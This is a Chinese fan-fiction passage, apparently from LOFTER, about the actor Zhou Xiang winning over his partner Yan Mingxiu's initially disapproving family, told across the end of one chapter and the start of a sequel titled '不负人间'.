这边周翔照顾着陈英吃了饭又吃了水果,等到陈英睡着了,周翔才出来给晏明修打电话。
“阿姨那边忙吗?”晏明修的声音温柔的传过来:“过两天你又要进组了吧,别担心,到时候我去陪着阿姨。”
周翔笑吟吟道:“没事,不忙,到时候王姨就有空了,让王姨来就行。”
晏明修道:“还是我去吧,要不然阿姨在那没咱们俩陪着,她该不自在了。”
周翔心里一暖。陈英生病后,从治疗到保养一直都是晏明修在帮他,尤其是入住这设备齐全的医院,要是没有晏明修,他还真是不好办。
二人又腻腻歪歪的说了些情话,最后周翔催着晏明修去处理公司里的事,晏明修才不情不愿地挂了电话。
他这边刚挂断,晏明绪的电话便接了进来。周翔刚接通,晏明绪的声音便清脆响起:“明修还好吗?”
周翔下意识地回答道:“挺好的啊。”
晏明绪迟疑了片刻,开口道:“昨天明修回家,和我爸说,以后回家都要带上你。”
周翔笑道:“我知道明修的意思,他是想让你家里人都尽快接受我,如果你觉得不合适,我会和明修商量……”
“我不是这个意思。”晏明绪径自打断了他:“我想和你说,别紧张,你只要正常表现,就不会有人不接受你们,要是我爸突然说了什么,希望你不要生气。”
周翔抬起头来,望向病房里的陈英,声音低沉:“你放心,就算为了明修,我也能接受的。”
晚间看电视的时候,晏德江的保姆调到了一个年代剧的频道。晏德江平时除了新闻别的都不爱看,他略略一抬眼,电视剧中的年轻人也一抬眼,于是晏德江清了清喉咙:“就这个吧。”
这部年代剧的配置不错,剧本是名家作品改编的,导演拿过不少奖,还有不少老戏骨参演,剧中的男主角是周翔。按理来说这样的好饼很难轮上周翔,毕竟他年纪轻资历又低,然而周翔不仅拿到了,在里面演的还不错,甚至可以说是相当好。
周翔演的角色最初是个不谙世事花天酒地的富家少爷,最后成为了一个顶天立地的有志青年。晏德江扫了两眼之后居然看进去了,硬是在出院前把这部不短的剧追完了。
出院当天晏德江便给儿子打了电话:“大年三十把他们都叫回来吧。”
顿了顿晏德江又道:“把周翔也叫上。”
晏明修不太想在大年三十那天回家,毕竟他们这一走陈英就得一个人过年了。陈英倒是挺高兴,给周翔准备了不少带到晏家的礼品,又对他千叮咛万嘱咐了一番。
其实周翔也不太想去,晏家水太深,也没什么人欢迎他,不过为了自己和晏明修的未来他便还是得去。临进家门之前晏明修忽然握住了周翔的手,在他脸上重重的亲了一下:
“别紧张,有我呢。”
这顿饭吃得不算太沉闷。晏家父子聊着生意上的事,周翔有一句没一句地听着,老老实实的吃着晏明修给他夹的菜。只听晏德江忽然把话题引到了他身上:“小周啊,听说你之前那个剧拿了将?”
周翔有点奇怪晏德江居然会关注娱乐圈的事,倒是也点了点头,他刚要说什么,晏妈妈便兴冲冲地接口道:“是不是叫《明天》那部剧啊?诶呀那个剧真好看,我看哭了好几次,周翔在里面演的可好了呢!那里面……”
周翔闻言只是淡淡的笑了笑。晏明修有些骄傲地抬起了头,晏飞冷冷地看了他一眼,晏明修便毫不畏惧地回视。父子俩的视线相互相撞,噼里啪啦地直冒火//星子。晏妈妈还在兴奋的说着电视剧,晏德江毕竟也看过,二人便这么聊了起来,偶尔问周翔几句。
什么那打戏累不累啊,那盖房子的戏是怎么拍的啊,那哭戏是不是可不好拍了之类的话。
晏妈妈是真心好奇的在问。而晏德江却接着这个机会又一次的审视周翔。在周翔眼中好像这些戏都不累,都很有意思,导演虽然严厉,但是也跟着学了不少东西,总之就是很有意义。
晏飞在一旁听着,想起来他之前也问过汪雨冬这种话。他刚问,晏明媚便撒娇地凑过来,说拍戏可辛苦啦,还要亲自下水人都冻坏了之类的,汪雨冬在一旁先是说着拍戏不苦,末了又粉饰太平的笑着。
而那所谓下冷水拍戏,高空吊威亚的戏,都不是他自己拍的。晏飞亲自看过花絮,里面都是替身在拍,汪雨冬一个人坐在太阳伞下面玩儿着手机,别提多自在了。
而周翔不同。他似乎是真的觉得不辛苦,还乐在其中,个别辛苦些的戏码,晏妈妈听着有些心疼了,周翔却说,这工作不比那些来北京打工赚钱还得交房租的年轻人的工作轻松多了,他们才是不容易呢。
这话说得坦诚,晏飞不禁多看了周翔一眼,又去看自己的父亲。
晏德江阅人无数,轻而易举地便瞧见了周翔的那颗赤城坚韧的赤子之心。他也知道周翔能有好资源是离不开晏明修的帮助的。可是晏家帮他是一方面,他自己能不能接住又是另一方面。可见周翔不仅接住了,而且做得还很好,总比那徒有其表的废物要强上很多。
想到这里晏德江望了正闷头吃饭的汪雨冬一眼,不出意外的在汪雨冬的眼底瞧见了深深的嫉恨与妒意。晏德江懒得再看他,一抬眼看见晏明修正安静的给周翔剥着虾皮,周翔微微歪着头和晏妈妈说话,嘴角带着温和的笑意,神色平和温暖。
晏德江的心忽然松了一松,当天临走的时候他拍了拍儿子的肩:
“周翔这孩子不错。”
晏德江这一发话,晏飞就没脾气了,也就不太管周翔他们的事了,但是心底始终梗着一根刺。还不等他自己把这根刺消化掉,周翔便和晏明修合拍了电影,票房漂亮奖项也漂亮,刚上映的时候晏飞被妻子拉去看电影,他看的比妻子还认真,出了影院他才别别扭扭的承认,周翔演技确实不错。
紧接着便是晏明修在微博上公然出柜大方示爱。
晏飞本来算是默认了他俩的关系,可是晏明修这根本不商量就公开恋情的行为确实有点气到他了。妻子倒是不以为意,还不忘刺激他:“这种事要是等你同意,那还不得等到他半截黄土埋了腰啊。”
晏飞被妻子的话顶住,一时无法反驳,只得暗气暗憋。
而晏明修就好像察觉不到他生气了一样,偶尔带周翔回来吃饭,晏妈妈对周翔没那么抗拒了,三个人有说有笑,晏飞在一旁到像个局外人。饭后晏明修想和他谈谈,晏飞一甩袖子便要走。
晏明修也不和他吵,只平静道,爸,我是一定会这样做的。
晏飞懒得理他,其实相比汪雨冬这种徒有其表还给晏家丢人的女婿,他还是能接受神清气朗又不卑不亢的周翔的,只是接受是一方面,愿意公开承认就又是另一方面了。
有天他去开会,散会之后上/将/军们三三两两的出来,他看见来接俞将军的是个阳光俊秀的青年,小太阳似的带着满面朝气,正和俞将军开着玩笑。
俞将军看见晏飞在看他,便也抬起头来:“咋了?”
俞将军的独子,晏飞是见过的。猎豹一样的青年人,与眼前这人绝不同,俞将军看见他这神色便也明白了,懒洋洋的一抬眉:“我儿媳妇儿,白家的白新羽。”
晏飞差点一口气没上来,白新羽不好意思的挠了挠头,和他打了招呼。俞将军点了根烟,满不在乎道:“我家那个混小子就这样,与其他找那猫三狗四的,倒不如找个正经人家的好孩子,再说你家小儿子不也这样,那微博直接官宣,瘫痪了半小时呢。”
晏飞不愿再多说,想起晏明修他便生气,招呼也不打一声就对外宣布出柜,他当时气得去找他爸抱怨,晏德江也只轻飘飘地抛过来一句:“我不是说过了周翔这孩子不错吗。”
他正生着气要下台阶,又看见一个身形消瘦的男人正急匆匆地迈上来,语气有些急切和担忧:“爸,不是告诉你等着我去扶你吗?”
晏飞身后响起了邵将军的声音:“不就是之前生个病,这可好,一个个都把我当玻璃罐了,哪用得着这么精细。”
男人也不多话,连忙上前搀扶着邵将军。晏飞知道邵将军的儿子是个嚣张跋扈的,和眼前这个也对不上号。邵将军瞥见他,淡淡道:“这我儿子程秀。程秀,叫晏叔叔。”
李程秀稍显拘谨的笑了笑:“晏叔叔。”
晏飞僵硬地点了点头,邵将军也想点根烟,被李程秀眼明手快地掐去了,邵将军也不恼,甚至挺高兴地一抬眼:“有人管是好事,有这一个,顶了我之前那四个呢。”
李程秀又絮絮地说着大姐二姐都忙,三姐去约会了,邵群去接儿子之类的家常话,邵将军也仔仔细细地听着。俞将军走得远了,耳朵却尖,还不忘回过头来插嘴:“可不是,要我说这些混小子,也就看媳妇儿的眼光不错了。”
两位老将军就这么隔着晏飞旁若无人的说起了话,两边的年轻人竟也互相认识,高兴地打起了招呼。晏飞一个人不尴不尬的站着,隔着老远终于瞧见了个熟人。
是周翔,身后还跟着姜皖。他把自己裹得严实,大墨镜大口罩,他几步跳上台阶,声音很低:“您的司机今天不能来了,正巧我们路过,不如送您回去吧。”
晏飞应了,二人便要下台阶。周翔匆忙的对着白新羽和李程秀打了招呼,俞将军还在后面轻快地笑道:“这老晏终于也有儿媳妇儿接了,要不显得还怪可怜的。”
一路上开始晏飞都没怎么说话,姜皖一边开车一边小心道:“张叔刚才家里出了事,不能接您了,晏厅开会,晏总也忙,我们知道这个事就过来了。”
晏飞嗯了一声。
车里的气氛有些诡异的安静。周翔正想找个话题,忽然听见晏飞道:“你和明修来真的?”
周翔一愣,忙回答道:“这种事,自然是真的。”他看着晏飞冷肃的眉眼,鼓足了勇气道:“从我们在一起的那天开始,我们就是认真的。”
晏飞微微闭上眼:“你知不知道前些天,明修的公司出了点状况?”
“我知道。”
“听说,最后缺的那些钱,是你帮他填进去的?”
“是。”
“哼,他宁可自己挺着,也不愿意来求他这个老子。”
周翔的呼吸凝滞了一瞬,正要为晏明修辩解几句,只听晏飞怅然道:“但是和你来真的的这件事,他可是对着我求了又求。”
“一开始我和他僵持着,寻思过不了几年你们就得分手,谁知道现在他直接昭告天下了。”
周翔迟疑了片刻,又想说什么,忽听晏飞嗤笑了一声:“这么一来,你的事业多少也会有影响吧?明修不是要吃这碗饭的,他还有退路,你不一样,你居然也跟着他胡闹?”
周翔终于开口:“这不是胡闹,我们在一起的这件事是真心的。”
他又沉默了一会儿,咬咬牙,坚定的开口:“晏伯伯,我知道,您觉得我家里穷,人也比明修年纪大,和他在一起一定是图了他什么,或者说,您觉得我和明修在一起也帮不了他什么,但是晏伯伯,我就是个普通人,只有这颗真心是能给明修的,我愿意给,他愿意收,您怎么就是不同意呢?”
晏飞不再说话了。
当时晏明修公司出状况的时候,他特意把人叫回家吃了顿饭,就等着这个小儿子求他帮忙。谁知道晏明修连提都不提,吃了饭就要走,说是要给周翔送夜宵。晏飞气不打一处来,将他叫到了书房里问他:
“你就没什么事和我说?”
“没有。”
晏明修抬起头来看着他:“您要是说微博公开那个事,我是一定会做的,您别管了,我要和他在一起这个事,谁也管不了。”
晏飞气得想抽他,谁料晏明修突然跪了下来,一板一眼道:
“我知道您想说什么,如今我大了,能自己扛的事就自己扛,扛不了也有翔哥帮我。可是有些事不一样,我知道你们都在等着看我和翔哥的笑话,可是有些事根本就不是笑话。”
晏明修的眼角眉梢染上了一层天真的孩子气:“是神话。”
晏飞当晚直接把人踢出了家门,谁料晏明修直接扒住了门框,认认真真道:“这条路我们会一直走下去,我们走着,您就看着就行了。”
车开到楼下的时候,晏飞忽然开口道:“一会儿有工作?”
周翔愣了下:“没有。”
晏飞淡淡道:“那上来坐会儿吧。”
晏妈妈看见周翔倒也是开心的。二人便坐在沙发上聊起了天,说着说着便说到了上次吃饭周翔带来的礼品。晏妈妈道:“上次拿来的蔬菜真的挺好吃的,又新鲜又脆,你们是在哪买到的啊。”
周翔笑道:“是我妈妈自己种的,家里楼下有块空地。”
“我记得你妈妈身体不太好,可别让她多干活。”
周翔道:“其实我妈保养得还不错,主要她自己也呆不住。”
于是话题便引到了照顾老人上。晏飞在一旁竖着耳朵听,周翔说得很细,比如尿毒症的人吃什么更好吃什么不好,老人不爱吃的菜怎么处理一下会更好吃。能说得这样细,分明是自己做过尝试过的。就好像之前周翔送来的礼物。晏家什么好东西没见过,但是周翔选的都是什么五常大米,自己家里种的没有农药的蔬菜,晏妈妈喜欢的茶叶点心,不算昂贵,胜在用心。
他家三个孩子。晏明绪工作忙,晏明媚被宠坏了,一副大小姐脾气,晏明修素来也任性,不爱与家人沟通。而周翔如今坐在这里,行为举止大大方方方,眉眼温和平淡,既不拘谨,也不
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谄媚,让人一眼看着就好像看到了家。
晏飞正想着,周翔的手机便响了一声,他连忙接起来,里面传来了晏明修的声音:
“翔哥,你在哪呢?”
“啊,在你妈妈这。”
“你怎么在那?我爸叫你去的?”晏明修的语气有些不好了,周翔迟疑了一下还是回答道:
“额,是吧……”
“我现在就过去。”晏明修干脆的挂了电话。
电话那一头的晏明修语气很急,晏飞听着不由得在心里冷笑一声,倒好像自己成了什么刁难儿媳的恶婆婆,需要晏明修这个霸道总裁惩治一番才算完。
晏妈妈倒是很高兴,说家里还有螃蟹,可以给晏明修做他喜欢的咖喱蟹。末了晏妈妈又问道:“小周啊,那你有什么想吃的吗?”
这么久以来晏妈妈对周翔的态度好了不少。周翔长得好,人也孝顺体贴,事业发展的也不错,很难不招人喜欢。周翔眼睛眨了眨:“我不挑食的,都可以。”
前些天周翔拍戏的时候晏妈妈偷偷去看过,这事除了晏明绪谁也不知道,她看着周翔和剧组的人关系都处的不错,演戏也敬业,动作戏摔得青一块紫一块也不叫疼,午饭跟着剧组一起吃卖相不好的盒饭也吃得津津有味。晏妈妈看着不禁问晏明绪:“他就吃那个啊?”
晏明绪道:“明修是想给他订别的餐。但是周翔不同意,不愿意借着晏家搞特殊。”
前有汪雨冬接着晏家作威作福,如今周翔却不愿多沾晏家的光。晏妈妈看着周翔自然是越看越顺眼。她不由分说地站起来,让做饭的阿姨又多加了好几个菜,晏飞不赞同的抬起头:“就这么几个人……”
晏妈妈一瞪眼:“吃不了就给他们带回去。”
晏飞只得同意。周翔难得见晏飞吃瘪,想笑又不敢笑,他正极力绷着,只听门廊那边响了一声,紧接着晏明修就像头狼一样扑过来,牢牢地护在他前面:“爸,你叫翔哥来干嘛?!”
晏明修来得急,刘海都被汗水浸湿了些,神色却极为坚定,整个人把周翔挡得严严实实分毫不让:“有什么不满意你冲我来……”
周翔在后面死死地扯住他,生怕他再说出什么惊人之语:“真的只是吃饭!”
晏明修这么紧张不是没有原因的。
周翔官宣影帝的那天他便出柜了,这事闹得沸沸扬扬,他事先没告诉任何人,连他哥都不知道。第二天他去送周翔上班,碰见蔡威时,蔡威难得的给了他好脸色:“算你小子有心。”
可是这样一来,他爸便更生气了,原本晏飞就没觉得他们会多长久,如今这一官宣,便是想解也解不开了。
晏明修很怕自己老爸对周翔说出什么不礼貌的话来。现下周翔拼命地扯着他,晏妈妈茫然地瞧着他,晏飞冷冷地哼了一声,被晏妈妈眼神扫射后改成了一声轻咳:“怎么着,怕我吃人啊。”
晏明修也知道自己刚才反应过激了,便坐在了周翔旁边,紧紧地握着他的手。周翔也任由他握着,晏妈妈走了过来,起先还是有些不适应他们这样十指紧扣的状态,不过多看了几眼,便也适应了。三个人一起开开心心地聊了起来,说起了之前包的白菜虾仁的饺子。晏飞在一旁瞧着。他眼里的小儿子素来任性冷淡,而如今聊起做饭这样的小事居然也和谈论公司业绩一般侃侃而谈,晏飞恍惚的瞧着,忽然觉得自己是不是错过了晏明修成长的很多个轮回。
吃饭的时候,晏明修先给晏妈妈剥了蟹壳,又开始给周翔剥。晏飞自顾自的吃着菜,想着妻子喜欢甜品,正要给她夹,却见到妻子笑吟吟的递给他一小碟剥好的蟹肉。
晏夫人是真正的名门闺秀,嫁给她这么多年一直被他保护的很好,始终都带着少女一样的天真。晏明媚像她,母女俩都容易被那甜舌蜜口哄得团团转。晏家出了一个汪雨冬便绝不能再出第二个,所以晏飞便对周翔审视得格外严格。
晏飞接过了蟹肉,看着周翔和晏明修二人坐在一起,头挨着头,晏明修拿着一只蟹,小声说着翔哥你看这蟹长得好丑。这样一件琐碎的小事居然也值得他去分享,而周翔居然也真的去看,二人一起笑出声来,随即周翔又用纸巾轻轻的擦去了晏明修手上的污渍。
他们之间的动作熟稔亲密,仿佛做过成千上万次。晏飞从不曾见到小儿子还能有这般少年心性的一面,神态和妻子像到极致,纯情又天真,而周翔的眼底是一片的温柔包容,就像很多年前的他和他妻子,二人一同约会去河边散步,妻子梳着翘翘的羊角辫,指着天上的云猛拍他:“晏飞!你看那云好白哦!”
那时他是怎么做的?他鼻尖缠绕的都是少女身上的馨香,连动都不敢动,他哪里有心思去看云,只呆呆的看着她,傻乎乎的接口:“是啊,好看的。”
和现在的周翔晏明修一模一样。
吃了饭,晏飞便把晏明修叫走了,书房里父子俩你看着我我看着你,谁也不肯让步。
终于还是晏飞叹了口气:“你就认定了,就是他?”
晏明修毫不犹豫:“是,就是他,只有他。”
晏飞缓缓道:“那你能确定,他也就认你?你想没想过,如果你不是晏家的公子……”
晏明修道:“翔哥刚认识我的时候,不知道我是晏家的公子,他就只是知道,我是‘晏明修’。”
“他喜欢的也是晏明修,不是晏家的晏明修。”
晏飞沉默了一瞬,继而道:“那你们老了以后呢?”
“可以领养一个孩子。”
晏飞深深的凝望着晏明修。晏明修忽然明白过来,晏飞真正担心的其实只有两件事,一是怕周翔辜负他,二是怕他老了无人依靠。
说到底,父母永远是最疼儿女的。
晏明修轻声道:“爸,你放心吧。”
晏飞默然不应,只是瞧着他。他工作繁忙,儿女无声无息的长大了,他想管的时候除了棍棒一时竟也没有什么更好的方式,而周翔出现的就像个奇迹,在他面前的晏明修,是自己从未见过的模样。
晏明修低低道:“爸,我承认,我能力不如你,身份地位也不如你,一开始也只能靠着绝食,靠着帮汪家渡过难关做筹码来换和翔哥在一起的机会。”
“但是现在我不想了,我的事情,不希望再经由您来盖棺定论了。”
晏明修的声音越来越高,越来越坚定:“我会让你看到翔哥的好。他是我见过最好的人,他对待爱人真心,对待母亲孝顺,对待朋友赤城,他和我在一起也不是为了图谋什么,他拿到的每一个奖项都没有晏家的帮忙。他的职业不是青春饭,他也不是您儿子包养的小白脸。”
“他是我的命。”
晏明修抬起头来,神色似哭似笑,眼底是悲伤的一片:“爸,只有你成为了我你才会理解,我有多爱他。”
晏飞是真的不懂,他和那个周翔才认识几年,怎么就能有这么深的感情?
可是他看着自己儿子这样的神色他便明白,晏明修没有说谎。
算了,他爱喜欢谁就喜欢谁吧,更何况,周翔确实是个不错的人。
父子俩一前一后出了书房。晏妈妈正坐在沙发上摆弄毛线,喜滋滋地抬起头来:“周翔这孩子怎么什么都会!我想织个围巾怎么都织不好,你看还得是周翔!”
周翔挠了挠头:“我也是看我妈织过,这才懂点。”
晏飞望着周翔,眼前的青年人有些青涩的神情到趁得他像个邻家少年。晏家崇尚低调,周翔穿的也很平常,神情温和,教晏妈妈织围巾的动作又灵巧耐心,晏明修像没有骨头一样黏过去,趴在周翔的肩上看着他莹白的指尖发呆,又幼稚地用多余的毛线,将他们的手指缠绕在了一起。
分也分不开。
晏飞深深的吸了口气。
他走到妻子面前,将毛线团拿过来,不动声色地握住了妻子的手:“小周啊,下个礼拜天请你妈妈来吃饭吧。”
-完-
22. 不负人间
鹿青崖
From LOFTER
【晏周】《不负人间》
*婚后 前几篇晏周的后续
*ooc 私设如山
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我爬过三千台阶的一片 心虔诚
拜过了菩萨焚香独善其身
周翔和晏明修主演的《倾国》刚上映的第一天,晏夫人便兴冲冲地拉着晏飞去看。
晏飞不爱看古装剧,最近正在家里偷偷看周翔之前拿了视帝的代表作《明天》,不过晏夫人高兴,他也就只能答应。
《倾国》的主线是复仇与爱情。周翔演得是国师兼太子太傅,悉心将小皇子养育成人,位高权重权倾朝野,结果引来了皇后的忌惮。皇后趁着老皇帝病弱,小皇子年幼,以小皇子性命相胁,威逼国师自尽饮下毒酒,最终促使小皇子黑化夺权,手刃敌人后坐拥江山却痛失所爱。
晏夫人看完之后哭的眼睛都肿了。
晏飞看着心疼,背着晏夫人给晏明修打了电话,劈头盖脸便是一顿骂:
“就不能帮周翔接个结局好点的剧本啊?!”
后来周翔凭借《倾国》拿了影帝。晏飞和晏夫人也请了陈英来家里吃饭,两边家长像正儿八经会亲家似的聊了一通。晏夫人对陈英印象不错,亲亲热热的拉着陈英说了不少体己话,还约着一起去做发型买新衣服,两家关系正式破冰,连带着晏明绪的心情都好了不少。
但是总有那爱挑事的。
这天周末的时候晏家人聚在一起吃饭,气氛正融洽的时候,汪雨冬忽然状似无意地开口道:“明修,你和金象奖的那几个评委是不是之前一起吃过饭啊?”
这话有几分微妙。周翔刚拿了金象奖的影帝,以自己的实力获得了晏家人的认可,此话一出,到显得好像是周翔借晏家的势走后门才拿了影帝一样。
晏明绪很严厉的看了汪雨冬一眼。晏明修正在给周翔剥虾的手一顿,继而淡淡笑道:“姐夫不也请过金溪奖的评委老师吃过饭吗?”
当年周翔和汪雨冬双双入围金溪奖视帝名单,最后获奖的却是周翔,这件事一直是汪雨冬心里的一根刺,如今被正大光明的揭出来,惹得他心头越发不快:“我在他们面前可没什么面子……”
晏明修把虾放进周翔碗里,冷冷的看了他一眼:“我也没有。”
小辈们唇枪舌战,老一辈们自然能听出这弦外之音。晏飞想起来之前汪雨冬家里出事,他去开会都得低着头,就这样还被没眼色的人背地里嘲笑他亲家给他丢人;后来周翔拿了影帝,他再去开会的时候,被邵将军一把扯住袖子,塞了本儿童布书给他:“让你儿媳妇给我孙子签个名。”
李程秀在一旁哭笑不得的扯着邵将军:“爸,你也太惯正正了,正正还不太认字呢,签什么名啊?”
邵将军依旧固执地往晏飞手里塞:“正正那天不是说周翔长得好看么?”
李程秀还是拦着:“我认识翔哥,您别麻烦晏将军了,我给正正想办法……”
晏飞猛一抬头:“你认识周翔?”
李程秀下意识地回答道:“是啊。”
邵群之前建了一个慈善基金,以李程秀的名义建的,还在李程秀老家那边建了个希望小学。俩人去李程秀老家考察的时候,在那边遇见了周翔。
周翔是自己来的,他在这边资助了个特殊学校,帮了不少盲童。这种慈善明星们一般都会做,但是能自己亲自来看看的实在是少,来看孩子还不让媒体大肆宣传的更是少之又少,周翔就是那个“少”的例子。邵群他们路过那个特殊学校的时候,周翔正在里面带着孩子们玩游戏,衣着普通神情恬淡,没有一分明星的傲然,眼底里的温柔清澈激得李程秀心口发酸,他倚在邵群身上低声道:“周翔真是个好人。”
然后拿出手机开始给周翔打榜投票。
邵群气得直翻白眼,偷偷把票投给宋居寒之后被李程秀打了两下。
正正在这方面完全遗传了他爸的追星标准。当时在家里邵雯带着他看完《明天》看《倾国》,小孩子几乎啥都没看懂就看懂周翔演的国师最后死了,于是抱着电视哇哇大哭,邵老爷子哄了半天都没用,于是这才想出了给孙子要签名的“好点子”。
晏飞最后还是把小布书揣回了家。从前汪雨冬如日中天的时候从没有什么老战友过来问他要签名,如今周翔红的发紫,连他都脸上有光了不少。
想到这晏飞便瞪了汪雨冬一眼。汪雨冬被吓了一跳,下意识地想和妻子求助。晏明媚连看都不愿看他,她到底是名门闺秀,之前被汪雨冬迷得神魂颠倒,如今清醒过来才发现此人金玉其外败絮其中,她一口银牙几乎咬碎,一抬头却瞧见周翔正在给晏明修剔蟹黄。
他的手指修长干净,无名指上戴着和晏明修同款的钻戒,除了拍戏的时候几乎从不摘下。就算是她和汪雨冬谈恋爱的时候,虾皮蟹壳这些都是保姆帮着弄得,汪雨冬从不给她剥,理由是他是演员,手得好好保养,婚戒也不怎么戴,说是怕粉丝有意见。
可是周翔对晏明修从不这样。
他的手也金贵,可是也会照顾晏明修;他也有粉丝,可是他敢公开,敢出柜,婚戒永远在他手上闪闪发亮;汪雨冬对粉丝不爱多提她,可是在名利场上却以晏家女婿的名义作威作福,周翔和晏明修公开示爱,却从不愿借助晏家的一点力量,听说之前在外面被人多灌了酒,晏明修不在,还是宋居寒帮忙解的围。
想到这些,有汹涌的泪意几乎冲上眼眶,晏明媚不愿示弱的一抬头,撞见周翔正将一个小碟子递给她,里面是她喜欢的甜品,笑容不卑不亢:“明修给你买的。”
晏明媚轻声道:“谢谢。”
又轻轻的对他比了个口型:“对不起。”
周翔什么也没说,只是对她孩子一样的眨了下眼睛。
晏明媚把孩子也抱来了,小小的一团着实惹人怜爱。晏明修不太喜欢小孩子,晚饭后却也接过来抱了抱。恰巧当时地上扔着孩子的玩具,晏明修一个没注意踩了上去,整个人迅速地向后跌。
动作发生的太快,只有周翔最先反应过来扑了过去。晏明修只来得及把外甥塞到周翔怀里,自己结结实实摔了个跟头。
晏明媚赶紧跑过去把孩子接了过来,周翔也探头去看,只见小孩子兀自吐着泡泡,一脸的天真懵懂,安然无恙。他又急忙伸手去扶晏明修,却见他一脸委屈巴巴:“翔哥你都不先关心我。”
周翔脸颊一热。晏明修惯会在他面前撒娇,可是对着晏家人撒娇还是头一次。晏明修见他没反应,又可怜兮兮道:“翔哥我脚好疼。”
晏夫人慌慌张张地走了过来,正瞧见这一幕。周翔见他喊疼,也顾不上这是在哪里,连忙过去揉了揉他的头,一手搂着他的腰将晏明修扶起来,还不忘腾出一只手去拍地板:“坏地板坏地板!都是它不好!”
哄三岁孩子一样的语气。
晏明修还伏在周翔身上哼哼唧唧,却对着晏夫人挑了下眉,摆明了自己啥事没有就是在撒娇。晏夫人好气又好笑,周翔不知所以然,像哄小孩子一样哄着他,给他打地板出气后,扶着他在一旁坐了下来。
晏明修看着周翔心疼的神色,忍不住在他脸上亲了一下后又继续撒娇道:“翔哥我想吃火龙果。”
周翔连忙过去给他拿。火龙果是处理过的,一块块放在碟子里,周翔想也不想就主动叉起一块要喂他。一边围观了全程的晏飞终于忍不住道:“他嘴又没摔着,不喂他!”
晏明修哼了一声后,将头偏向一边,俊美的轮廓天神一样,却委屈地蹙着眉。周翔看着心动又心软,也顾不上晏飞,锲而不舍地喂到晏明修唇边,柔声细语:“好了好了,不疼了不疼了,尝一口吧。”
晏明修乖乖的转过来,啃了一口后忽然皱起眉:“好像不甜啊?”
晏飞在一旁气得想打他,哪有男孩子这么磨人的?周翔却老老实实地把晏明修剩了的半块咽了下去,奇怪道:“这不挺……”
晏明修笑嘻嘻的凑了过来,在他嘴角亲了亲:“这下甜了。”
晏夫人看得想笑,晏明绪嘴角直抽抽,晏明媚哄过孩子后有些艳羡地看了过来,汪雨冬眼底晦暗不明,晏飞却是微微发愣。
他天生性情刚硬,也就是在妻子面前能柔和一点,小儿子有些像他,印象里的晏明修总是冷淡疏离的样子,顶多和妻子软语几句,如今在周翔面前,晏明修活得好像成了个无忧无虑的孩子,有着纯粹的天真和快乐,享受着纯粹的爱。
原来爱可以让人换个模样。
或者说,原来爱还能有这般滋味。
晏明修临走前还在赖赖唧唧。周翔甚至要背他出去,晏飞毫不留情地在小儿子身上拍了一下,又拿出了那个小汽车,不自在地摸了摸鼻尖:“老战友的孙子,让你帮忙签个名。”
周翔一愣,还是接了过来,在小布书的扉页小心地签了一笔。晏明修也忘了装伤员,直接站直了,不客气地开口:“什么孙子?多大了还追星?”
周翔偷偷戳他腰,晏明修把周翔的手握住了和他十指紧扣。晏飞冷冷道:
“长得好像挺好看的。”
“家里也有钱有势,还是独苗。”
“家里人什么都依着他,可惯着了。”
晏明修越听越气,脸色发青。晏夫人也有些忧心的皱起了眉:“万一那孩子不怀好意……”
晏飞看见妻子当真了,这才截住话头:“今年好像快三岁了吧。”
晏明绪直接乐出了声,晏夫人不赞同的掐了晏飞一下,晏明修万万没想到他爸还能和他来这么一出,整个人都愣住了,周翔一时没反应过来,后知后觉道:“是程秀家儿子吧?”
晏明修颇觉丢人,气得发愣,干脆破罐子破摔,要和他爸理论。晏飞不理这套,直接轻描淡写地戳穿他:“你这大脚丫子不是没事儿吗?”
周翔这才反应过来晏明修刚才都是装的,恨不得也拍他一下。晏明修见好就收,一边和晏夫人道别,一边伸长手臂把周翔背了起来,伏低做小,连连讨好:“我背你我背你,你别生气。”
说罢便背着周翔出了家门,周翔多少有些害臊,干脆在晏明修肩膀上咬了一口,晏明修便背着他在家门口转圈,周翔被他晃得发蒙也不松口,他咬的正欢,晏夫人却急急忙忙追了出来:“给你们拿的螃蟹你们忘记了呀!”
然后撞了个正着。
周翔恨不得一头撞死在晏家门口的柱子上,晏明修笑得几乎没了力气,还不忘颠了颠他:“接过来啊翔哥。”
自从周翔拿了影帝后,不少剧本代言都找上了门,周翔也有耐心,仔仔细细挑着剧本,那天被晏夫人撞到他俩胡闹后,周翔半天不好意思再去晏家,后来又去上了个表演类综艺。
那个综艺是层层过关刷人的。周翔进总决赛的时候,来踢馆的是晏明修,两个人演了个相爱相杀的剧本。
周翔饰演的角色无情无心,最后一幕是他将匕首插在晏明修的心口上,而晏明修则要流着泪问他‘能娶到自己心爱的人究竟是什么滋味,你能不能告诉我?’
没演之前周翔还摩拳擦掌,说是终于轮到自己演渣男了,晏明修不敢提旧账,老老实实陪着演,谁知道上场的时候状态就变了。
晏明修演的极好,流着眼泪深情的质问,一边流泪一边爱他,情深似海和痛彻心扉交替闪现。周翔饰演的角色本该在杀完他后无情地甩手离开,而周翔在最后却忍不住伸出手去擦掉了晏明修的眼泪,几乎要上去吻他。
后来这名场面被截图后大肆疯传,热搜
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“晏周封神”挂了三天。
评委们对这场表演褒贬不一。有的认为周翔最后一个动作偏离了设定,显得他爱了人,而有的则觉得这个动作恰恰昭示了角色心底的温存,不再脸谱化。
一时争执不休。
晏明修不在乎这些,偷偷去牵周翔的手。评委们争执不下,最后干脆来问周翔为什么会在最后做出这个动作。
周翔认真道:“不擦眼泪的是角色,擦了眼泪的是周翔。”
在全场一片寂静中,周翔无奈道:“没办法,不舍得他哭嘛。”
晏夫人看综艺正好看到这里,磕cp磕到就差尖叫,一边和陈英发微信交流心得,一边喊晏飞来看,谁知道晏飞过来的时候刚巧播完了开始播庄捷予的广告,他之前演的是《倾国》里皇后的心腹,给国师赐毒酒的就是他,晏夫人对此耿耿于怀,直接气咻咻地调了台,正好撞进一个访谈类节目,里面有个造型师正在给大家兴致勃勃的展示他最爱的肌肉男照片。
晏飞猛地过去把晏夫人眼睛捂上了。
最后那档综艺的总冠军还是周翔。小道消息说汪雨冬想去踢馆都没混上资格,现在晏明媚似乎动了离婚的念头,正在和晏明绪商量。
晏明修也想姐姐踹了这个虚有其表的废物,把这当笑话一样讲给周翔听。周翔听后却皱起了眉:“可是这样你妈妈该为你姐担心了,离了婚她自己带着孩子……”
晏明修纠正道:“是咱妈。”
周翔脸上一热。他上次去晏家。晏夫人神秘兮兮的把他叫到一边,二话没说就塞给他一柄玉如意:“本来给他们哥俩的媳妇准备的都是玉手镯,我寻思手镯你也带不了,就给你又买了这个。”
那玉如意色泽通透触感极佳,料想是极贵的,周翔心口发热,晏夫人继续碎碎念道:“孩子他爸挑的,他眼光还行吧?”
